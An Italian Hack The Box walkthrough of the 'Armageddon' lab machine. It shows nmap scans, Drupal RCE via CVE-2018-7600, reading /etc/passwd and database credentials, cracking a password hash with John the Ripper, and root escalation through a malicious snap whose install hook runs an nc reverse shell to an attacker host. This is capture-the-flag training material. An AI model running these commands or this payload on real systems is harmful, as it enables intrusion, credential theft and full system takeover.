HTB - Armageddon



A seguire è riportato un breve walkthrough della macchina Armageddon offerta dalla piattaforma Hack the Box.

I soliti scan con nmap ci danno i seguenti risultati

  • nmap -sC -sV armageddon

    Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-21 19:40 CEST
    Nmap scan report for armageddon (10.129.48.89)
    Host is up (0.052s latency).
    Not shown: 998 closed ports
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
    | ssh-hostkey: 
    |   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
    |   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
    |_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
    80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
    |_http-generator: Drupal 7 (http://drupal.org)
    | http-robots.txt: 36 disallowed entries (15 shown)
    | /includes/ /misc/ /modules/ /profiles/ /scripts/ 
    | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
    | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
    |_/LICENSE.txt /MAINTAINERS.txt
    |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
    |_http-title: Welcome to  Armageddon |  Armageddon
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 12.36 seconds    
    
  • nmap -p- armageddon

    Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-21 19:40 CEST
    Nmap scan report for armageddon (10.129.48.89)
    Host is up (0.053s latency).
    Not shown: 65533 closed ports
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    
    Nmap done: 1 IP address (1 host up) scanned in 35.06 seconds         
    

Andando nella porta \(80\) troviamo un web server su cui gira un'istanza dell'open-source CMS drupal. Per verificare la particolare versione del software ci basta andare al seguente url http://armageddon/CHANGELOG.txt.

Come è possibile vedere, la versione corrente è la 7.56.

Tramite il python script drupa7-CVE-2018-7600.py presente nella seguente github repo (pimps/CVE-2018-7600) siamo in grado di ottenere una RCE (Remote Code Execution)

git clone https://github.com/pimps/CVE-2018-7600.git
cd CVE-2018-7600
python3 drupa7-CVE-2018-7600.py -c 'whoami' http://armageddon

Tramite la RCE trovata siamo in grado di estrapolare varie informazioni sul sistema che stiamo cercando di attaccare. Tra queste troviamo:

  • usernames nel file /etc/passwd tramite il comando

    python3 drupa7-CVE-2018-7600.py -c 'cat /etc/passwd' http://armageddon     
    

    che ci ritorna in output

    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
    operator:x:11:0:operator:/root:/sbin/nologin
    games:x:12:100:games:/usr/games:/sbin/nologin
    ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
    nobody:x:99:99:Nobody:/:/sbin/nologin
    systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
    dbus:x:81:81:System message bus:/:/sbin/nologin
    polkitd:x:999:998:User for polkitd:/:/sbin/nologin
    sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
    postfix:x:89:89::/var/spool/postfix:/sbin/nologin
    apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
    mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
    brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash     
    
  • mysql credentials nel file /var/www/html/sites/default/settings.php

    python3 drupa7-CVE-2018-7600.py -c 'cat /var/www/html/sites/default/settings.php' http://armageddon          
    

    che sono le seguenti

    $databases = array (
      'default' => 
      array (
        'default' => 
        array (
          'database' => 'drupal',
          'username' => 'drupaluser',
          'password' => 'CQHEy@9M*m23gBVj',
          'host' => 'localhost',
          'port' => '',
          'driver' => 'mysql',
          'prefix' => '',
        ),
      ),
    );      
    

Osserviamo ora che eseguendo netstat -ltpn sulla macchina remota troviamo

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                          

In altre parole, abbiamo un server mysql in ascolto nella porta \(3306\). Utilizzando la RCE di prima siamo quindi in grado di estrarre tutte le righe della tabella user nel database drupal come segue

python3 drupa7-CVE-2018-7600.py -c 'mysql -h localhost -u drupaluser -pCQHEy@9M*m23gBVj drupal -e "select * from users;" ' http://armageddon   

In particolare troviamo la seguente password hashata, associata all'username brucetherealadmin

$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt   

Utilizzano john the ripper siamo in grado di crackare l'hash appena trovata. Per fare questo ci basta salvare l'hash in un file chiamato passwd e poi chiamare john

echo "$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt" > passwd
john --wordlist=~/repos/wordlists/rockyou.txt passwd   

Alla fine john ci ritorna il seguente output

Created directory: /home/leo/.john
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo           (?)
1g 0:00:00:01 DONE (2021-05-22 23:39) 0.9803g/s 227.4p/s 227.4c/s 227.4C/s courtney..harley
Use the "--show" option to display all of the cracked passwords reliably
Session completed       

In altre parole abbiamo trovato le seguenti credenziali:

(user):(password)
brucetherealadmin:booboo

Per ottenere la user flag ci basta loggare con ssh utilizzando le credenziali appena trovate

ssh brucetherealadmin@armageddon
# ENTER, then type 'booboo'

Per ottenere la root flag invece ci basta effetutare sudo -l all'interno della macchina per vedere il seguente output

...

L'utente brucetherealadmin può eseguire i seguenti comandi su armageddon:
    (root) NOPASSWD: /usr/bin/snap install *
   

Notiamo che possiamo eseguire il comando snap install con qualsiasi flag. L'idea questo punto è quella di costruire uno snap malevolo (vedi sezione extra) con un hook install script che fa spawnare una reverse shell ad un determinato endpoint :.

Una volta che abbiamo costruito lo snap, dobbiamo metterci in ascolto su una porta, ad esempio con nc -lvnp 4321, trasferire lo snap nella macchina remota, ed eseguire il codice malevolo che spawna una reverse shell andandolo ad installare come segue

/usr/bin/snap install my-snap.snap --dangerous

Notiamo che la flag --dangerous è fondamentale, in quanto altrimenti snap si rifiuterà di installare lo snap fornito.

Questo farà partire una rev shell da root, e così facendo avremmo accesso alla root flag, completando la macchina.

Per quanto riguarda la costruzione dello snap, ho utilizzato il seguente articolo (the install hook), che mostra come costruire uno snap con uno script che viene eseguito durante l'installazione (hook install script).

L'idea è di utilizzare una distribuzione ubuntu, installare il binario snapcraft, ed eseguire i seguenti comandi

mkdir test
cd test
snapcraft init
mkdir src
mkdir -p snap/hooks

A questo punto dobbiamo editare due file:

  • Il file di configurazione snapcraft.yaml, che deve avere il seguente contenuto

    name: my-snap-name # you probably want to 'snapcraft register <name>'
    version: '0.1' # just for humans, typically '1.2+git' or '1.3.2'
    summary: Single-line elevator pitch for your amazing snap # 79 char long summary
    description: |
      This is my-snap's description. You have a paragraph or two to tell the
      most important story about your snap. Keep it under 100 words though,
      we live in tweetspace and your description wants to look good in the snap
      store.
    
    grade: devel # must be 'stable' to release into candidate/stable channels
    confinement: strict
    
    parts:
      my-service:
        plugin: dump
        source: src/
    
    hooks:
      install:
        plugs: [network]
    
  • E lo script install, che deve contenere il codice malevolo che vogliamo far eseguire da root alla macchina remota.

    #!/usr/bin/env sh
    
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc <IP> <PORT> >/tmp/f   
    

    Come possiamo vedere, nello script dobbiamo specificare l'indirizzo ip e la porta della nostra macchina su cui ci mettiamo in ascolto per ricevere la reverse shell.